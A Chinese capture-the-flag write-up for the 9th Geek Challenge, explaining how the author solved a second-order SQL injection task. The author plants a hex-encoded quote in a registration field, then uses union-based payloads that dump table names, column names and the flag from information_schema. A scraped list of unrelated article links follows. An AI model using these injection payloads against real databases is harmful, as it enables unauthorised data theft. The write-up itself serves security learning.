第九届极客大挑战——小帅的广告(二阶sql注入)
也是经过一通扫描和测试,没发现其他有用信息,感觉这是个sql注入。其实对于二阶sql注入我以前没实践过,也没看过资料,只是知道这个名字,但不知道为何看到这道题就让我回想起了这个名词,所以查了一下二阶sql注入的资料:二阶sql注入。简单来说,就是第一次构造的恶意数据直接储存到了数据库中,但在其他地方用到数据库里的数据来构造新的sql语句时没有经过安全处理,便导致恶意语句被触发了。
这道题有个很明显的数据回显就是注册一个用户并登陆后会在主页显示注册时所填写的资料,所以我一开始的想法就是在注册时填写构造好的sql语句,然后再登陆查看自己信息,不就成功实现了注入攻击。反复测试,发现 WHAT'S UP 处理并不得当,在此处填写单引号时会显示注册失败,这就说明,单引号未被转义直接拼接到了原sql语句中导致了sql语句错误。


猜测注册页面的的sql语句应该是
insert into users(username,password,lucknum,whatsup) values('','',1,'')
其中的username和password应该是经过安全处理,单引号无法逃逸,而lucknum只能输入数字,所以剩下whatsup可成为注入点,insert into 注入,但是出了点小意外,没有成功,暂时放一放...
几经折腾,终于把目光放在了这个luckynum上面。可能会疑惑luckynum只接受数字,怎么能构造sql语句呢,其实是可以用字符串的16进制来表示的,例如

所以先在luckynum处构造一个单引号看看结果验证一下猜想


看到user info里面什么也没有,说明后台在查询我这个leixiao002用户时,sql语句是错误的,所以没有查到任何信息。
梳理一下逻辑
1.用户注册账号,填写密码及其他信息
insert into users(username,password,lucknum,whatsup) values('leixiao002','1',0x27,'1')
2.用户用账号密码尝试登陆,后台用账号密码执行sql查询
select * from users where username='leixiao002' and password='1'
3.查询到数据就进入登录界面并显示该用户信息
//显示username,luckynum,whatsup
这么看来并没有lucknum什么事,大不了显示出来lucknum就是一个单引号而已,为什么lucknum为单引号就出错呢,重新推测下处理逻辑如下,虽然我感觉不合理,但这应该是出题人故意留下的漏洞,全靠直觉...有错望指正。
1.用户注册账号,填写密码及其他信息
insert into users(username,password,lucknum,whatsup) values('leixiao002','1',0x27,'1')
2.用户用账号密码尝试登陆,后台用账号密码执行sql查询,正确就进入登录界面
select * from users where username='leixiao002' and password='1'
3.查询到数据luckynum的内容
lucknum='
4.再次执行查询
select * from users where username='leixiao002' and password='1' and luckynum='''
5.如果4的语句正确就显示用户信息
看到4的sql语句最后面多了一个',所以出错。
依据4的语句,接着构造出
select * from users where username='leixiao00x' and password='' and luckynum='' union select 1,1,database()



爆出了数据库名
接着再注册几个账号,逐步构造以下语句就可
1: ' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
2: ' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='fl4g'#
3. ' union select 1,2,easyflag from fl4g#



第九届极客大挑战——小帅的广告(二阶sql注入)的更多相关文章
- 第九届极客大挑战 部分WP
CODE 和0xpoker分0day 百度 取石子游戏. https://blog.csdn.net/qq_33765907/article/details/51174524 已经说得很详细了,慢慢来 ...
- 第九届极客大挑战——Geek Chatroom(sql盲注)
首先观察这个web应用的功能,可以任意留言,也可以搜索留言,当然我还用cansina扫描过网站,查看过源码,抓包查看过header等.没发现其他提示的情况下断定这就是个sql注入,可能存在的注入点呢, ...
- 第九届极客大挑战——怎么又是江师傅的秘密(java反序列化)
这道题其实是考jsp和java的,我没学过jsp,java倒是有一点了解,但是刚拿到题的时候还是看不懂java代码里的内容,所以去简单学习了下jsp(jsp教程),按照教程里的步骤搭建了eclipse ...
- 2016第七季极客大挑战Writeup
第一次接触CTF,只会做杂项和一点点Web题--因为时间比较仓促,写的比较简略.以后再写下工具使用什么的. 纯新手,啥都不会.处于瑟瑟发抖的状态. 一.MISC 1.签到题 直接填入题目所给的SYC{ ...
- 2020极客大挑战Web题
前言 wp是以前写的,整理一下发上来. 不是很全. 2020 极客大挑战 WEB 1.sha1碰撞 题目 图片: 思路 题目说,换一种请求方式.于是换成post.得到一给含有代码的图片 图片: 分析该 ...
- BUUOJ [极客大挑战 2019]Secret File
[极客大挑战 2019]Secret File 0X01考点 php的file伪协议读取文件 ?file=php://filter/convert.base64-encode/resource= 0X ...
- 三叶草极客大挑战2020 部分题目Writeup
三叶草极客大挑战2020 部分题目Writeup Web Welcome 打开后状态码405,555555,然后看了一下报头存在请求错误,换成POST请求后,查看到源码 <?php error_ ...
- [原题复现][极客大挑战 2019]BuyFlag
简介 原题复现:[极客大挑战 2019]BuyFlag 考察知识点:php函数特性(is_numeric().strcmp函数()) 线上平台:https://buuoj.cn(北京联合大学公开 ...
- 极客大挑战2019 http
极客大挑战 http referer 请求头 xff 1.查看源码,发现secret.php 2.提示要把来源改成Sycsecret.buuoj.cn,抓包,添加Referer Referer:htt ...
随机推荐
- 有 va_arg宏 中数组下标-1 引发的思考 - C 语言中内存模型
va_arg宏,是头文件 stdarg.h 中定义的,获取可变参数的当前参数. #define va_arg(list, mode) ((mode*)(list+=sizeof(mode)))[-1] ...
- Lnmp架构部署动态网站环境.2019-7-3-1.4
安装wiki开源产品 一.创建数据库 [root@Lnmp bbs]# mysql -uroot -p123456 mysql> create database wiki; #创建wiki数据库 ...
- python简单面试题
在这个即将进入金9银10的跳槽季节的时候,肯定需要一波面试题了,安静总结了一些经常遇到的python面试题,让我们一起撸起来. python面试题 1.求出1-100之间的和 # coidng:utf ...
- C++:获取基本变量的类型
方法: typeid(变量).name() 代码: /**获取变量类型*/ #include<iostream> #include<string> #include<ty ...
- 运行输出时候遇到了Json.Disosi@3fa77460格式·
比如我的运行输出时候遇到了Json.Disosi@3fa77460这种类路径+@+储存空间编码格式 发现是实体类忘记加了toString方法 使用ALT+ins快捷键点击toString()方法 再运 ...
- 01 less的使用
使用less 安装两个包 1===>cnpm install less less-loader --save-dev less中的注释 以 //开头的注释 不会被编译到css文件中去 以 /** ...
- RedisTemplate操作Redis(spring-data-redis)
参看博客:https://www.cnblogs.com/songanwei/p/9274348.html 使用文档:StringRedisTemplate+RedisTemplate使用说明
- 2019 蓝桥杯国赛 B 组模拟赛 题解
标签 ok #include<bits/stdc++.h> using namespace std; /* 求阶乘 去除尾部0 每次求阶乘时:结果去除尾0,并对 1e6取余 */ type ...
- 使用Qiniu-JavaScript-SDK上传文件至七牛云存储
一.Qiniu-JavaScript-SDK介绍 基于 JS-SDK 可以方便的从浏览器端上传文件至七牛云存储,并对上传成功后的图片进行丰富的数据处理操作. JS-SDK 兼容支持 H5 File A ...
- 在线web软件
编程 Compiler Explorer SharpLab 着色器 shadertoy 腾讯文档 word excel ppt ... 思维导图 MindMaster ProcessOn 流程图. ...